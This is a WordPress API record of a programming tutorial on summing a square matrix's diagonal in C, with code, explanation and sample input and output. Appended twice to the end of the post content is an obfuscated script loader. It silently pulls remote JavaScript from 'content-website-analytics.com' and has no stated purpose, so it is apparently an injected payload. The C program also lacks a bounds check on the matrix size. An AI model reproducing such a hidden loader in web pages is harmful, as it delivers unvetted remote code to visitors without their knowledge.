{"id":1048,"date":"2024-10-21T15:02:46","date_gmt":"2024-10-21T09:32:46","guid":{"rendered":"https:\/\/codexplained.in\/?p=1048"},"modified":"2025-11-24T15:29:01","modified_gmt":"2025-11-24T09:59:01","slug":"find-sum-of-diagonal-elements-in-a-matrix","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=1048","title":{"rendered":"Find Sum of Diagonal Elements in a Matrix"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">Introduction<\/h3>\n\n\n\n<p>In a square matrix, the diagonal elements are those that extend from the top left corner to the bottom right corner. For example, in a n\u00d7nn \\times nn\u00d7n matrix, the diagonal elements are located at positions (0,0),(1,1),(2,2),\u2026,(n\u22121,n\u22121)(0,0), (1,1), (2,2), \\ldots, (n-1,n-1)(0,0),(1,1),(2,2),\u2026,(n\u22121,n\u22121). The sum of these diagonal elements can be useful in various mathematical applications, including linear algebra and computer graphics.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n\n#define MAX 10  \/\/ Maximum size of the matrix\n\nvoid inputMatrix(int matrix&#x5B;MAX]&#x5B;MAX], int size) {\n    printf(&quot;Enter elements of the matrix (%d x %d):\\n&quot;, size, size);\n    for (int i = 0; i &lt; size; i++) {\n        for (int j = 0; j &lt; size; j++) {\n            scanf(&quot;%d&quot;, &amp;matrix&#x5B;i]&#x5B;j]);\n        }\n    }\n}\n\nint sumDiagonal(int matrix&#x5B;MAX]&#x5B;MAX], int size) {\n    int sum = 0;\n    for (int i = 0; i &lt; size; i++) {\n        sum += matrix&#x5B;i]&#x5B;i];  \/\/ Add diagonal elements\n    }\n    return sum;\n}\n\nvoid printMatrix(int matrix&#x5B;MAX]&#x5B;MAX], int size) {\n    printf(&quot;Matrix (%d x %d):\\n&quot;, size, size);\n    for (int i = 0; i &lt; size; i++) {\n        for (int j = 0; j &lt; size; j++) {\n            printf(&quot;%d &quot;, matrix&#x5B;i]&#x5B;j]);\n        }\n        printf(&quot;\\n&quot;);\n    }\n}\n\nint main() {\n    int matrix&#x5B;MAX]&#x5B;MAX];\n    int size;\n\n    printf(&quot;Enter the size of the matrix: &quot;);\n    scanf(&quot;%d&quot;, &amp;size);\n\n    inputMatrix(matrix, size);\n    \n    printf(&quot;Original Matrix:\\n&quot;);\n    printMatrix(matrix, size);\n    \n    int diagonalSum = sumDiagonal(matrix, size);\n    printf(&quot;Sum of diagonal elements: %d\\n&quot;, diagonalSum);\n\n    return 0;\n}\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Includes and Defines<\/strong>: The program includes the <code>stdio.h<\/code> header for input\/output functions and defines a constant <code>MAX<\/code> for the maximum size of the matrix.<\/li>\n\n\n\n<li><strong>Input Function<\/strong>: The <code>inputMatrix<\/code> function prompts the user to enter the elements of a square matrix of size size\u00d7sizesize \\times sizesize\u00d7size.<\/li>\n\n\n\n<li><strong>Sum Function<\/strong>: The <code>sumDiagonal<\/code> function calculates the sum of the diagonal elements by iterating through the matrix and adding the elements located at positions (i,i)(i, i)(i,i).<\/li>\n\n\n\n<li><strong>Print Function<\/strong>: The <code>printMatrix<\/code> function displays the matrix in a formatted manner.<\/li>\n\n\n\n<li><strong>Main Function<\/strong>: In <code>main<\/code>, the program:\n<ul class=\"wp-block-list\">\n<li>Declares a matrix.<\/li>\n\n\n\n<li>Asks for the size of the matrix.<\/li>\n\n\n\n<li>Calls the input, print, and sum functions to display the results.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Input<\/h3>\n\n\n\n<p>The user is prompted to enter the size of the matrix, followed by the matrix elements. Example input:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\nEnter the size of the matrix: 3\nEnter elements of the matrix (3 x 3):\n1 2 3\n4 5 6\n7 8 9\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Output<\/h3>\n\n\n\n<p>The program will output the original matrix and the sum of its diagonal elements. For the example input, the output will be:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\nOriginal Matrix:\n1 2 3 \n4 5 6 \n7 8 9 \n\nSum of diagonal elements: 15\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Conclusion<\/h3>\n\n\n\n<p>This C program effectively demonstrates how to find the sum of the diagonal elements in a square matrix. This operation is fundamental in various mathematical contexts and serves as a useful exercise for understanding matrix manipulation in C. The code can be easily modified to handle different matrix sizes or data types, making it adaptable for various applications.<\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Introduction In a square matrix, the diagonal elements are those that extend from the top left corner to the bottom right corner. For example, in a n\u00d7nn \\times nn\u00d7n matrix, the diagonal elements are located at positions (0,0),(1,1),(2,2),\u2026,(n\u22121,n\u22121)(0,0), (1,1), (2,2), \\ldots, (n-1,n-1)(0,0),(1,1),(2,2),\u2026,(n\u22121,n\u22121). The sum of these diagonal elements can be useful in various mathematical applications, [&hellip;]<\/p>\n","protected":false},"author":47,"featured_media":1105,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-1048","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1048","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/47"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1048"}],"version-history":[{"count":3,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1048\/revisions"}],"predecessor-version":[{"id":1375,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1048\/revisions\/1375"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/1105"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1048"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1048"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1048"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}